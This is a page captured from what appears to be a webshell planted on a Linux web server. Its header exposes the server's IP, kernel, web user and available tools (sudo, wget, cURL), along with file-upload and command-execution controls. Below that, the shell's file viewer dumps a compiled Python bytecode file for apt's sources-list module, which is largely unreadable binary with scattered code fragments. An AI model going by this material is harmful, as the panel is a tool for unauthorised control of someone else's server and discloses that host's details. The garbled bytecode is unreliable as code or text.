403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/aptsources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/aptsources/__pycache__/sourceslist.cpython-314.pyc
+
S^�i����,�^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RI	t	^RI
HtHtH
t
^RIHtHtHtHtHt^RIt^RIHt^RIHtHt]!R4t.R(OtRR
ltRRlt!RR]4t!RR]4t !RR]]],4t!RRlt"RRlt#!RR4t$!RR4t%!RR4t&]]&]$3,t']]&]$]%3,t(!RR	4t)!RR
4t*!R R4t+],R!8Xd�]PZ!4]*!4t.].F*t/]P`!R"]/Pc4,4K,	]!R#R$4t2]P`!R%]2,4]P`!]!R&R$44]P`!]!R#R'44R#R#))�N)�Callable�Iterable�Iterator)�Any�Generic�Optional�TypeVar�Union)�_deb822)�DistInfo�Template�T�Deb822SourceEntry�SourceEntry�NullMatcher�SourcesList�SourceEntryMatcherc�<�V^8�dQhR\R\R\/#)��
master_uri�compare_uri�return)�str�bool)�formats"�8/usr/lib/python3/dist-packages/aptsources/sourceslist.py�__annotate__r;s!����#��C��D��c�0�VPR4pVPR4pW8XdR#VPR4^,pVPR4^,pRT9d"Y"PR4^,RT8XdR#R# \dR#i;i)z�check if the given add_url is idential or a mirror of orig_uri e.g.:
master_uri = archive.ubuntu.com
compare_uri = de.archive.ubuntu.com
-> True
z/ Tz//F�.N)�rstrip�split�
IndexError�index)rr�compare_srv�
master_srvs&&  r�	is_mirrorr';s����$�$�T�*�K��"�"�4�(�J�� ���!�'�'��-�a�0���%�%�d�+�A�.�
��k��k�*;�*;�C�*@�1�*D�*F�G�:�U��������s�0B�B�Bc�\�V^8�dQhR\\,R\\,/#�r�sr)rr�list)rs"rrrXs"����H�Q�K��D��G�rc�*�\\V44#)asimple and efficient way to return uniq collection

This is not intended for use with a SourceList. It is provided
for internal use only. It does not have a leading underscore to
not break any old code that uses it; but it should not be used
in new code (and is not listed in __all__).)r+�set)r*s&r�uniqr.Xs����A��<�rc�Za�]tRt^btoV3RlRltR	V3RlRlltV3RlRltRtVtR#)
�SingleValuePropertyc�&<�V^8�dQhRS[RS[/#�r�key�doc�r)r�
__classdict__s"�rr� SingleValueProperty.__annotate__c������C��c�rc��WnW nR#�N�r3�__doc__��selfr3r4s&&&r�__init__�SingleValueProperty.__init__c������rNc�V<�V^8�dQhRS[R,RS[R,RS[R,/#�r�objr�objtypeNr)r�typer)rr6s"�rrr7gs3���/�/��/�0�/�;?�$�;�/�	�t��/rc�Z�VfV#VPPVPR4#r:)�section�getr3�r>rDrEs&&&r�__get__�SingleValueProperty.__get__gs'���;��K��{�{���t�x�x��.�.rc�6<�V^8�dQhRRRS[R,RR/#)rrDr�valueNrr5)rr6s"�rrr7ns'���*�*�.�*�s�T�z�*�d�*rc�p�VfVPVPR#W!PVP&R#r:)rHr3�r>rDrNs&&&r�__set__�SingleValueProperty.__set__ns'���=����D�H�H�%�$)�K�K����!r�r<r3r:�	�__name__�
__module__�__qualname__�__firstlineno__r?rKrQ�__static_attributes__�__classdictcell__�r6s@rr0r0bs#������/�/�*�*rr0c�Za�]tRt^utoV3RlRltR	V3RlRlltV3RlRltRtVtR#)
�MultiValuePropertyc�&<�V^8�dQhRS[RS[/#r2r5)rr6s"�rr�MultiValueProperty.__annotate__vr8rc��WnW nR#r:r;r=s&&&rr?�MultiValueProperty.__init__vrArNc�X<�V^8�dQhRS[R,RS[R,RS[S[,/#rC)rrFr+r)rr6s"�rrr_zs8���B�B��/�0�B�;?�$�;�B�	
�c��Brc��VfV#\PVPPVPR44#)N�)r�mysplitrHrIr3rJs&&&rrK�MultiValueProperty.__get__zs2���;��K��"�"�3�;�;�?�?�4�8�8�R�#@�A�Arc�8<�V^8�dQhRRRS[S[,RR/#)rrDr�valuesrN�r+r)rr6s"�rrr_�s'���1�1�.�1��S�	�1�d�1rc�V�RPV4VPVP&R#)� N)�joinrHr3)r>rDrhs&&&rrQ�MultiValueProperty.__set__�s�� #���� 0����D�H�H�rrSr:rTr[s@rr]r]us%������B�B�1�1rr]c�Za�]tRt^�toV3RlRltR	V3RlRlltV3RlRltRtVtR#)
�ExplodedEntryPropertyc� <�V^8�dQhRS[/#)r�parent�r)rr6s"�rr�"ExplodedEntryProperty.__annotate__�s�����q�rc��WnR#r:�rq�r>rqs&&rr?�ExplodedEntryProperty.__init__�s���rNc�H<�V^8�dQhRS[R,RS[R,RS[/#)rrD�ExplodedDeb822SourceEntryrENr)rrFr)rr6s"�rrrs�s/���/�/��7�8�/�CG�$�;�/�	
�/rc�X�VfV#VPPVP4#r:)rqrKrJs&&&rrK�ExplodedEntryProperty.__get__�s'���;��K��{�{�"�"�3�:�:�.�.rc�(<�V^8�dQhRRRS[RR/#)rrDryrNrNrr)rr6s"�rrrs�s#���/�/�6�/�q�/�T�/rc�r�VP4VPPVPV4R#r:)�	split_outrqrQrPs&&&rrQ�ExplodedEntryProperty.__set__�s#���
�
�������C�J�J��.rrur:rTr[s@rroro�s#������/�/�/�/rroc�0�V^8�dQhR\R\/#)r�proprrr)rs"rrr�s����Q��1�rc��V#r:�)r�s&r�DeprecatedPropertyr��s���Krc��V^8�dQhRR/#�rrNr�)rs"rrr�s����t�rc��R#)z3Behaves like an expired weakref.ref, returning NoneNr�r�rr�
_null_weakrefr��s��rc�ra�]tRt^�toR+V3RlRlltV3RlRlt]!RR4t]!RR	4t]	!]
!RR	44t]!R
R4t]	!]
!R
R44t
]!RR
4t]	!]
!RR
44t]!RR4t]V3RlRl4t]P&V3RlRl4t]V3RlRl4t]P&V3RlRl4t]V3RlRl4t]P&V3RlRl4t]V3RlRl4t]V3RlRl4tV3R lR!ltV3R"lR#ltV3R$lR%ltV3R&lR'ltV3R(lR)ltR*tVtR#),rNc�l<�V^8�dQhRS[PS[,R,RS[RS[R,/#)rrHN�filer+r)r�Sectionrr)rr6s"�rr�Deb822SourceEntry.__annotate__�s<���'�'����3�&��-�'��'��}�%�	'rc��Vf\P!R4VnM8\V\4'd\P!V4VnMWn\	VP4VnW nRVnRVn\PR,!4VnV'd\P!V4Vn
R#\Vn
R#)NrdFry)rr�rH�
isinstancer�_liner��template�	may_merge�weakref�WeakSet�	_children�ref�_listr�)r>rHr�r+s&&&&rr?�Deb822SourceEntry.__init__�s����?�"�?�?�2�.�D�L�
���
%�
%�"�?�?�7�3�D�L�"�L�����&��
��	�)-��
���� ���)D�E�G����;B�;�;�t�;L�D�J�&�D�Jrc�&<�V^8�dQhRS[RS[/#�r�otherr�r)rr6s"�rrr��s���

�

�C�

�C�

rc��VPVP8H;'d�VPVP8H;'d�VP;'dzVPPR4VPPR48H;'d;VPVP8H;'dVP
VP
8H#�z+equal operator for two sources.list entries�/��disabledrF�urir!�dist�comps�r>r�s&&r�__eq__�Deb822SourceEntry.__eq__�s���
�M�M�U�^�^�+�
*�
*��	�	�U�Z�Z�'�
*�
*����
*�
*�������$��	�	�(8�(8��(=�=�
*�
*��	�	�U�Z�Z�'�	
*�
*�
�
�
�e�k�k�)�
	
r�
ArchitectureszThe list of architectures�TypeszThe list of types�URIszURIs in the source�SuiteszSuites in the source�
ComponentszComponents in the sourcec� <�V^8�dQhRS[/#�rrr5)rr6s"�rrr��s���#�#��#rc�.�VPP#)�1Legacy attribute describing the paragraph header.�rH�header�r>s&r�comment�Deb822SourceEntry.comment�s���|�|�"�"�"rc�$<�V^8�dQhRS[RR/#)rr�rNr5)rr6s"�rrr��s���&�&�s�&�t�&rc�&�WPnR#)r�Nr�)r>r�s&&rr�r��s��&���rc�.<�V^8�dQhRS[R,/#r��r)rr6s"�rrr��s��������rc�v�\P!VPR,4# \dR#i;i)z%Return the value of the Trusted field�TrustedN)�apt_pkg�string_to_boolrH�KeyErrorr�s&r�trusted�Deb822SourceEntry.trusted�s3��	��)�)�$�,�,�y�*A�B�B���	��	�s�&)�8�8c�2<�V^8�dQhRS[R,RR/#)rrNNrr�)rr6s"�rrr��s���?�?�T�D�[�?�T�?rc��VfVPRR#V'dRMRVPR&R# \dR#i;i)Nr��yes�no�rHr��r>rNs&&rr�r��s@���=�
��L�L��+�05�e�$�D�L�L��#���
��
�s�
0�?�?c� <�V^8�dQhRS[/#r�r�)rr6s"�rrr��s���N�N�$�Nrc�l�\P!VPPRR44'*#)zCheck if Enabled: no is set.�Enabledr�)r�r�rHrIr�s&rr��Deb822SourceEntry.disabled�s)���)�)�$�,�,�*:�*:�9�e�*L�M�M�Mrc�$<�V^8�dQhRS[RR/#)rrNrNr�)rr6s"�rrr��s�����d��t�rc�x�V'dRVPR&R#VPRR# \dR#i;i)r�r�Nr�r�s&&rr�r��s6���&*�D�L�L��#�
��L�L��+���
��
�s�
*�9�9c� <�V^8�dQhRS[/#r�r�)rr6s"�rrr��s��� � �� rc�$�VP'*#)z7A section is invalid if it doesn't have proper entries.)rHr�s&r�invalid�Deb822SourceEntry.invalid�s���<�<��rc� <�V^8�dQhRS[/#r�r5)rr6s"�rrr��������c�rc��VP#)z The entire (original) paragraph.)r�r�s&r�line�Deb822SourceEntry.line�s���z�z�rc� <�V^8�dQhRS[/#r�r5)rr6s"�rrr�s���"�"��"rc�>�VP4P4#r:�r�stripr�s&r�__str__�Deb822SourceEntry.__str__s���x�x�z���!�!rc� <�V^8�dQhRS[/#r�r5)rr6s"�rrr�s���!�!�S�!rc�,�\VP4#)z(Section as a string, newline terminated.)rrHr�s&rr�Deb822SourceEntry.strs���4�<�<� � rc�$<�V^8�dQhRS[RR/#�r�enabledrNr�)rr6s"�rrr�����$�$�4�$�D�$rc��V'*VnR#)z.Deprecated (for deb822) accessor for .disabledN�r��r>r�s&&r�set_enabled�Deb822SourceEntry.set_enabled���#���
rc�$<�V^8�dQhRRRS[/#)rr��AnySourceEntryrr�)rr6s"�rrr�s ���B�B�+�B��Brc
���VP'g_VPfQ\;QJd&RVP4F'dKRM	RM!RVP44'gR#VPVP8wdR#\V\4'gR#VPVP8wdi\;QJd2RVPVP34F'gKRM'	RM#!RVPVP344'gR#\\VPP4\VPP4,4F[pVP4R9dKVPPVR4pVPPVR4pW48wgKZR#	\\VP 4\VP 48g\VP"4\VP"48g\VP$4\VP$48g\VP&4\VP&48g\VP(4\VP(48g.4^8�dR#VP F/pWPP 9gKV;P V.,
unK1	VP"F/pW`P"9gKV;P"V.,
unK1	VP$F/pWpP$9gKV;P$V.,
unK1	VP&F/pW�P&9gKV;P&V.,
unK1	VP(F/p	W�P(9gKV;P(V	.,
unK1	R#)z-Merge the two entries if they are compatible.Nc3�8"�TFqPx�K	R#5ir:)r�)�.0�childs& r�	<genexpr>�*Deb822SourceEntry.merge.<locals>.<genexpr>s���C�N�5���N�s�FTc3�,"�TF
pRV9x�K	R#5i)zAdded by software-propertiesNr�)r��cs& rr�r�s���5
�9V�A�*�a�/�9V�s�)�types�uris�suites�
components�
architecturesz	signed-by)r�r��allr�r�r�rr��anyr-r+rH�tags�lowerrI�sumr�r�r�r�r�)
r>r��tag�in_self�in_other�typr��suite�	component�archs
&&        r�merge�Deb822SourceEntry.merges��������
�
�%��C�C�D�N�N�C�C�C�C�C�D�N�N�C�C�C���9�9��
�
�"���%�!2�3�3���<�<�5�=�=�(���5
�:>�,�,��
�
�9V�5
����5
�:>�,�,��
�
�9V�5
�2
�2
���t�D�L�L�-�-�.��e�m�m�6H�6H�1I�I�J�C��y�y�{�����l�l�&�&�s�D�1�G��}�}�(�(��d�3�H��"��K� 
���
�
�O�s�5�;�;�'7�7���	�	�N�c�%�*�*�o�5�����$��E�L�L�(9�9���
�
�O�s�5�;�;�'7�7���*�*�+�s�5�3F�3F�/G�G��
��	
���;�;�C��*�*�$��
�
�s�e�#�
���:�:�C��)�)�#��	�	�c�U�"�	���\�\�E��K�K�'�����w�&��"����I��
�
�*��
�
�y�k�)�
�%��'�'�D��-�-�-��"�"�t�f�,�"�(�rc�"<�V^8�dQhRRRR/#)r�torrNr�)rr6s"�rrr�Ps���<�<�%8�<�T�<rc�R�VPF�pVPF�pVPFppVPF]pVPVP
VP3W4V38XgK/VPV8XgQh\P!V4Vn
K_	Kr	K�	K�	R#)z_If we end up being split, check if any of our children need to be reparented to the new parent.N)r�r�r�r��_type�_uri�_suiterqr�r��_parent)r>rr�rr�rs&&    r�_reparent_children�$Deb822SourceEntry._reparent_childrenPs|���^�^�E��x�x���7�7�C�!#����!�K�K����U�\�\�B�s�QV�FW�W�#(�<�<�4�#7�7�#7�,3�K�K��O�E�M�"+�#� �$r)r�r�r�r�r�r�rHr�r:)rUrVrWrXr?r�r]r�r�r�r0rFr�r�r�r�r��propertyr��setterr�r�r�r�r�rr�rr
rYrZr[s@rrr�sv����'�'�0

�

�'��8S�T�M��w�(;�<�E��1�'�;N�O�P�D��f�&:�;�D�
�0��9M�N�
O�C�
��*@�
A�F��1�(�<R�S�T�D��|�-G�H�E�
�#��#�
�^�^�&��&�����
�^�^�?��?��N��N��_�_����� �� �����"�"�!�!�$�$�B�B�H<�<rc��a�]tRtRtoRt.R%OtV3RlRlt]V3RlRl4t]V3RlRl4t	]	PV3R	lR
l4t	]V3RlRl4t]V3R
lRl4t]V3RlRl4t
]V3RlRl4t]PV3RlRl4t]V3RlRl4t]PV3RlRl4tV3RlRltV3RlRltV3RlRlt]!]P*4t]!]P,4t]!]P.4t]],!]P24t]!]P44t]!]P64tV3RlR lt]V3R!lR"l4tR#tVtR$#)&ryi[zXThis represents a bit of a deb822 paragraph corresponding to a legacy sources.list entryc�2<�V^8�dQhRS[RS[RS[RS[/#)rrqrr�r)rr)rr6s"�rr�&ExplodedDeb822SourceEntry.__annotate__as*���#�#�0�#�s�#��#�S�#rc��\P!V4VnW nW0nW@nVPVnVPPV4R#r:)	r�r�rr	r
rr�r��add)r>rqrr�rs&&&&&rr?�"ExplodedDeb822SourceEntry.__init__as@���{�{�6�*����
��	�������
������T�"rc� <�V^8�dQhRS[/#r�)r)rr6s"�rrrjs���@�@�)�@rc�`�VPeVP4;peV#\R4h)Nz#The parent entry is no longer valid)r�
ValueErrorrvs& rrq� ExplodedDeb822SourceEntry.parentis.���<�<�#��,�,�.�(��5��
��>�?�?rc� <�V^8�dQhRS[/#r�r5)rr6s"�rrrqs�����S�rc�:�VP4VP#r:)�'_ExplodedDeb822SourceEntry__check_validr
r�s&rr��ExplodedDeb822SourceEntry.urips�������y�y�rc�$<�V^8�dQhRS[RR/#)rr�rNr5)rr6s"�rrrvs�����s��t�rc���VP4VPPUu.uFq"VP8wdTMTNK	upVPnWnR#uupir:)r~rqr�r
)r>r��us&& rr�rusK������BF�+�+�BR�BR�S�BR�Q�d�i�i��A�S�8�BR�S������	��Ts�A c�0<�V^8�dQhRS[S[,/#r�ri)rr6s"�rrr|s�����t�C�y�rc��VP.#r:�rFr�s&rr��ExplodedDeb822SourceEntry.types{����	�	�{�rc�0<�V^8�dQhRS[S[,/#r�ri)rr6s"�rrr�s������S�	�rc��VP.#r:�r�r�s&rr�� ExplodedDeb822SourceEntry.suitesr&rc�0<�V^8�dQhRS[S[,/#r�ri)rr6s"�rrr�s�����d�3�i�rc��VP.#r:�r�r�s&rr��ExplodedDeb822SourceEntry.uris�s�����z�rc� <�V^8�dQhRS[/#r�r5)rr6s"�rrr�r�rc�:�VP4VP#r:)rr	r�s&rrF�ExplodedDeb822SourceEntry.type�s�������z�z�rc�$<�V^8�dQhRS[RR/#)rrrNr5)rr6s"�rrr�s���1�1��1��1rc���VP4V.VPnWnVP	4VPV8XgQhVPPVP.8XgQhR#r:)r~rqr�r	r)r>rs&&rrFr1�s[������ �E������
������z�z�S� � � ��{�{� � �T�Z�Z�L�0�0�0rc� <�V^8�dQhRS[/#r�r5)rr6s"�rrr�s�����c�rc�:�VP4VP#r:)rrr�s&rr��ExplodedDeb822SourceEntry.dist�s�������{�{�rc�$<�V^8�dQhRS[RR/#)rrrNr5)rr6s"�rrr�s���3�3�#�3�$�3rc���VP4V.VPnWnVP	4VPV8XgQhVPPVP.8XgQhR#r:)r~rqr�rr)r>rs&&rr�r6�s[������#�W������������{�{�e�#�#�#��{�{�!�!�d�k�k�]�2�2�2rc�<�V^8�dQhRR/#r�r�)rr6s"�rrr�s���=�=�t�=rc�x�VPP4f\R4hVPPFlpVPPFOpVPP
F2pWV3VPVPVP38XgK/R#	KQ	Kn	\RV24h)N�The parent entry is dead�Could not find parent of )	rqr�rr�r�r�r	r
r)r>rFr�rs&   r�
__check_valid�'ExplodedDeb822SourceEntry.__check_valid�s����;�;����&��7�8�8��K�K�%�%�D��{�{�'�'��!�[�[�/�/�E��5�)�d�j�j�$�)�)�T�[�[�-Q�Q��0�(�&�
�4�T�F�;�<�<rc�<�V^8�dQhRR/#r�r�)rr6s"�rrr�s���)A�)A�4�)Arc	��VPpVPVPVP3VP.VP
.VP.38XdR#VP4pVf\R4hVPPV4pTPT4Rp\TP4EFp\TP4F�p\TP4F�p\\P!TP 4TP"TR7p	T.T	nT.T	nT.T	nRT	nTP'T	4TPP)Y94YgT3TPTP
TP38XgK�\*P,!T	4TnRpK�	K�	EK		T'g\RT24hR# \dp\RTR24ThRp?ii;i)Nr;z Parent entry for partial deb822 z no longer validF)rHr�r+Tr<)rqr�r�r�r	r
rr�rr+r$�remove�reversedrrr�rHr�r�r
�insertr�r�r)
r>rq�sources_listr$�e�
reparentedrFr�r�news
&         rr~�#ExplodedDeb822SourceEntry.split_out�s��������L�L�&�+�+�v�}�}�5�
�Z�Z�L�
�Y�Y�K�
�[�[�M�:
�
�

��|�|�~�����7�8�8�	� �%�%�+�+�F�3�E�	���F�#��
��V�\�\�*�D�����,��%�f�m�m�4�E�+� '������ ?�#�[�[�)��C�
"&��C�I� #�u�C�H�"'��C�J�$(�C�M��-�-�c�2� �%�%�,�,�U�8��5�)�d�j�j�$�)�)�T�[�[�-Q�Q�'.�{�{�3�'7���%)�
�5�-�+�$��8���?�@�@���5�	��2�4�&�8H�I���
��	�s�;G!�!H�,G<�<Hc� <�V^8�dQhRS[/#r�r5)rr6s"�rrr�s���R�R�#�Rrc�n�RVPRVPRVPRVP2#)z<child rkz of )r	r
rrr�s&r�__repr__�"ExplodedDeb822SourceEntry.__repr__�s1�������A�d�i�i�[��$�+�+��d�4�<�<�.�Q�Qrc�$<�V^8�dQhRS[RR/#r�r�)rr6s"�rrr�r�rc��V'*VnR#)zSet the source to enabled.Nr�r�s&&rr��%ExplodedDeb822SourceEntry.set_enabled�r�rc� <�V^8�dQhRS[/#r�r5)rr6s"�rrr�s��� � �c� rc�.�VPP#)zReturn the file.)rqr�r�s&rr��ExplodedDeb822SourceEntry.file�s���{�{���r)rrr	r
r�r�N)rr	r
rr��__weakref__) rUrVrWrXr<�	__slots__r?rrqr�rr�r�r�rFr�rr~rKrorr�r�r�rr�r�r�r�r�rYrZr[s@rryry[s�����b�R�I�#�#��@��@�����	�Z�Z����
����������������
�[�[�1��1�����
�[�[�3��3�=�=�)A�)A�VR�R�*�*;�*I�*I�J�M�!�"3�"9�"9�:�E�#�$5�$=�$=�>�G�$�T�*�+<�+E�+E�F�H�#�$5�$=�$=�>�G�#�$5�$=�$=�>�G�$�$�� �� rryc�a�]tRtRtoRtRV3RlRlltV3RlRlt]V3RlR	l4tV3R
lRlt	V3RlR
lt
V3RlRltV3RlRlt]
V3RlRl4t]
V3RlRl4t]
V3RlRl4tRtVtR#)ri�zsingle sources.list entryNc�4<�V^8�dQhRS[RS[R,/#)rr�r�Nr5)rr6s"�rr�SourceEntry.__annotate__�s���.�.�S�.��d�
�.rc�d�RVnRVnRVn.VnRVnRVnRVn.VnRVnWn	Vf \PPR4pVPR4'd\R4hW nVP!V4RVn.VnR#)FrdN�Dir::Etc::sourcelist�.sourcesz6Classic SourceEntry cannot be written to .sources file)r�r�rFr�r�r�r�r�r�r�r��config�	find_file�endswithrr��parser��children)r>r�r�s&&&rr?�SourceEntry.__init__�s��������
���	�(*���$(��������	� "��
�����	��<��>�>�+�+�,B�C�D��=�=��$�$��U�V�V��	��
�
�4��)-��
�+-��
rc�&<�V^8�dQhRS[RS[/#r�r�)rr6s"�rrrWs���
�
�C�
�C�
rc�x�VPVP8H;'d�VPVP8H;'dzVPPR4VPPR48H;'d;VPVP8H;'dVP
VP
8H#r�r�r�s&&rr��SourceEntry.__eq__s���
�M�M�U�^�^�+�
*�
*��	�	�U�Z�Z�'�
*�
*�������$��	�	�(8�(8��(=�=�
*�
*��	�	�U�Z�Z�'�
*�
*��
�
�e�k�k�)�	
rc�6<�V^8�dQhRS[RS[S[,/#)rr�r)rr+)rr6s"�rrrWs���#�#�c�#�d�3�i�#rc�l�VP4p.pRpRpRp\\V44F�pW,R8Xd;V'd RpRpVPV4W,pK7RpW V,,
pKJW,R8XdRpW V,,
pKjV'd:W,P	4'gRpVPV4W,pK�W,P	4'd
V'gRpK�W V,,
pK�	\V4^8�dVPV4V#)zta split() implementation that understands the sources.list
format better and takes [] into account (for e.g. cdroms)rdF�[T�])r��range�len�append�isspace)r��pieces�tmp�p_found�space_found�is&     rre�SourceEntry.mysplit
s����z�z�|�����������s�4�y�!�A��w�#�~��"'�K�"�G��M�M�#�&��'�C�"�G���7�N�C���C�����A�w����T�W�_�_�%6�%6�#���
�
�c�"��g������"�"�7�"���A�w���-"�0�s�8�a�<��M�M�#���
rc�$<�V^8�dQhRS[RR/#)rr�rNr5)rr6s"�rrrW3s���>�>�#�>�$�>rc���WnVP4pVR8XgVR8Xd
RVnR#V^,R8XdMRVnVR,P4P	4pV^,R
9g
RVnR#VR,pVPR4pV^8�dW^,RVnVRVpVPV4p\V4^8d
RVnR#V^,P4Vn	VPR9d
RVnR#V^,P4^,R8Xd�VP^4PR4P	4pVFbpVP	R^4wrgVR	8XdVP	R
4VnK7VR8Xd\P!V4VnK[RVnKd	V^,P4Vn\VP 4^8dRVnV^,P4Vn\V4^8�dVR,VnR#.VnR# \dRTnK�i;i)zPparse a given sources.list (textual) line and break it up
into the field we haverd�#TN��NNrfz[]�=r�,r�:�NN)�rpm�rpm-src�deb�deb-src)r|r}rzr{)r�r�r�r�r"�findr�rerirF�popr�r�r�r��	Exceptionr�r�r�)r>r�rlrp�options�optionr3rNs&&      rr^�SourceEntry.parse3s����	��z�z�|���2�:�����D�L����7�c�>� �D�M��"�X�^�^�%�+�+�-�F��!�9� D�D�#�����B�x���I�I�c�N���q�5��A���=�D�L����8�D����d�#���v�;��?��D�L���1�I�O�O�%��	��9�9�@�@��D�L���!�9�?�?��Q��3�&��j�j��m�)�)�$�/�5�5�7�G�!��
,�!'���c�1�!5�J�C��f�}�-2�[�[��-=��*��	�)�'.�'=�'=�e�'D���'+���"��!�9�?�?�$����t�x�x�=�1���D�L��1�I�O�O�%��	��v�;��?����D�J��D�J��+!�(�#'�D�L�(�s�,I�I&�%I&c�$<�V^8�dQhRS[RR/#)r�	new_valuerNr�)rr6s"�rrrWss���	,�	,�T�	,�d�	,rc��V'*VnV'd1VPP4PR4VnR#VPP4^,R8wdRVP,VnR#R#)z!set a line to enabled or disabledrtN)r�r��lstripr�)r>r�s&&rr��SourceEntry.set_enabledss[��%�
��
���	�	�(�(�*�1�1�#�6�D�I��y�y��� ��#�s�*��$�)�)�O��	�+rc� <�V^8�dQhRS[/#r�r5)rr6s"�rrrW~s���"�"��"rc�>�VP4P4#)zdebug helperr�r�s&rr��SourceEntry.__str__~s���x�x�z���!�!rc� <�V^8�dQhRS[/#r�r5)rr6s"�rrrW�s�����S�rc�p�VP'd
VP#RpVP'dRpWP,
pVP'dVVP
eHTRP
RPVP4VP
'dRMR4,
pMnVP
e&TRVP
'dRMR,,
pM;VP'd*VRRPVP4,,
pVR	VPR	VP2,
p\VP4^8�d*VR	R	PVP4,,
pVPR8wdVR
VP,,
pVR,
pV#)z!return the current line as stringrdz# z [arch={} trusted={}]rxr�r�z
 [trusted=%s]z
 [arch=%s]rkz #�
)
r�r�r�rFr�r�rrlr�r�rir�r�)r>r�s& rr�SourceEntry.str�sG���<�<�<��9�9�����=�=�=��D��	�	�������$�,�,�":��+�2�2�����+�+�,������4��
�D��\�\�
%��O�����u�$�G�G�D�
�
�
�
��L�3�8�8�D�,>�,>�#?�?�?�D��!�D�H�H�:�Q�t�y�y�k�*�*���t�z�z�?�Q���C�#�(�(�4�:�:�.�.�.�D��<�<�2���D�4�<�<�'�'�D������rc�D<�V^8�dQhRS[S[P,/#r��r+�builtinsr)rr6s"�rrrW�s�����t�H�L�L�)�rc��VP.#)z'deb822 compatible accessor for the typer$r�s&rr��SourceEntry.types�����	�	�{�rc�D<�V^8�dQhRS[S[P,/#r�r�)rr6s"�rrrW�s�����d�8�<�<�(�rc��VP.#)z&deb822 compatible accessor for the urir-r�s&rr��SourceEntry.uris�s�����z�rc�D<�V^8�dQhRS[S[P,/#r�r�)rr6s"�rrrW�s������X�\�\�*�rc��VP.#)z(deb822 compatible accessor for the suiter)r�s&rr��SourceEntry.suites�r�r)
r�r_r�r�r�r�r�r�r�r�r�rFr�r:)rUrVrWrXr<r?r��staticmethodrer^r�r�rrr�r�r�rYrZr[s@rrr�s�����#�.�.�(
�
��#��#�J>�>�@	,�	,�"�"���6�����������rc�6a�]tRtRtoRtV3RlRltRtVtR#)ri�za Matcher that does nothingc�&<�V^8�dQhRS[RS[/#r)��AnyExplodedSourceEntryr)rr6s"�rr�NullMatcher.__annotate__�s�����-��$�rc��R#)Tr�)r>r*s&&r�match�NullMatcher.match�s��rr�N)rUrVrWrXr<r�rYrZr[s@rrr�s����%��rc�>a�]tRtRtoRtR$RR/V3RlRllltV3RlRltV3R	lR
ltV3RlRltR
R%R.R3V3RlRllt	V3RlRlt
V3RlRltR&V3RlRlltV3RlRlt
V3RlRltV3RlRltV3RlRltV3RlR ltV3R!lR"ltR#tVtR#)'ri�z6represents the full sources.list + sources.list.d file�deb822Fc�,<�V^8�dQhRS[RS[RS[/#)r�withMatcher�matcherPathr�)rr)rr6s"�rr�SourcesList.__annotate__�s)���������
�rc��.VnVV'd\V4VnM\4VnW0nVP4R#r:)r+r�matcherrr��refresh)r>r�r�r�s&&&$rr?�SourcesList.__init__�s4��+-��	���-�k�:�D�L�&�=�D�L������rc�<�V^8�dQhRR/#r�r�)rr6s"�rrr��s���+�+��+rc��.Vn\PPR4pVR8wd7\P
P
V4'dVPV4\PPR4pVR8wd�\P
P
V4'd�\\P!V44FspVP'dVPR4'gVPR4'gKEVP\P
PW!44Ku	VPF2pVP'dKVPP!V4K4	R#)z update the list of known entriesrYz	/dev/null�Dir::Etc::sourcepartsrZz.listN)r+r�r[r\�os�path�exists�load�find_dir�sorted�listdirr�r]rlr�r�r�)r>r��partsdir�sources&   rr��SourcesList.refresh�s�����	��~�~�'�'�(>�?���;��2�7�7�>�>�$�#7�#7��I�I�d�O��>�>�*�*�+B�C���{�"�r�w�w�~�~�h�'?�'?��r�z�z�(�3�4���K�K�K�D�M�M�*�$=�$=�$�-�-��C�C��I�I�b�g�g�l�l�8�:�;�	5��i�i�F��>�>�>����"�"�6�*� rc�0<�V^8�dQhRS[S[,/#r�)rr�)rr6s"�rrr��s�����(�>�2�rc#�:"�VPRjx�L
R#L5i)z?simple iterator to go over self.list, returns SourceEntry
typesN�r+r�s&r�__iter__�SourcesList.__iter__�s����9�9���s���c�T<�V^8�dQhRS[S[.S[3,RS[RS[S[,/#)r�
predicates�attrsr)rr�rrr)rr6s"�rrr��s9���
�
�#�%;�$<�d�$B�C�
�NQ�
�	�(�	)�
rc/�aa"�SPRR4pVP4F�oV'dDSP'd2VPR4SPPR48wdKN\;QJd VV3RlS4F'dKRM	RM!VV3RlS44'gK�\;QJdV3RlV4F'dKRM	RM!V3RlV44'gK�Sx�K�	R#5i)r�Nr�c3�P<"�TFp\SV4SV,8Hx�K	R#5ir:)�getattr)r�r3r�r�s& ��rr��%SourcesList.__find.<locals>.<genexpr>�s!����G��#�7�6�3�'�5��:�5��s�#&FTc3�2<"�TFq!S4x�K	R#5ir:r�)r��	predicater�s& �rr�r��s����P�3=�i�	�&�!�!�:�s�)r�
exploded_listr�r!r�)r>r�r�r�r�s&*l @r�__find�SourcesList.__find�s������i�i��t�$���(�(�*�F��v�z�z�z�c�j�j��o����9J�9J�3�9O�&O���s�G��G�s�s�s�G��G�G�G�C�C�P�3=�P�C�C�C�P�3=�P�M�M���
+�s/�?D�;D�D�D�9
D�D�D�;
DrdNc�<�V^8�dQhRS[RS[RS[RS[S[,RS[RS[RS[R,R	S[S[,R
S[R,RS[/
#)rrFr�r��
orig_compsr��posr�Nr�rqr)rr+�intrr�)rr6s"�rrr��s����i�i��i��i��	i�
��I�i��
i��i��D�j�i� ��}�i�'��-�i�
 �irc
	��a�VP4pVPR4p
V
'dVR,P4p\S4oVR,pVP	V3RlV
RVVVR7pVFEp
VF<pW�P
9gKW�P
V4\V4^8XgK8V
uu#	KG	VP	V3RlRVVVR7pVF�p
V
PV
8XdI\V
P
4\V48wd"\V
P
V,4V
nV
u#V
P'gKpV
'dKz\V
P
4\V48XgK�RV
nV
u#	Vf \PPR
4pVPR4'd�\R	WpR7pV	'dc\V	R
V	4p	\!V	\4'gQhV	P"P$F#pV	P"V,VP"V&K%	V.VnV.VnV.VnW�nS'd\-S4VnW_P"nW�nM�V
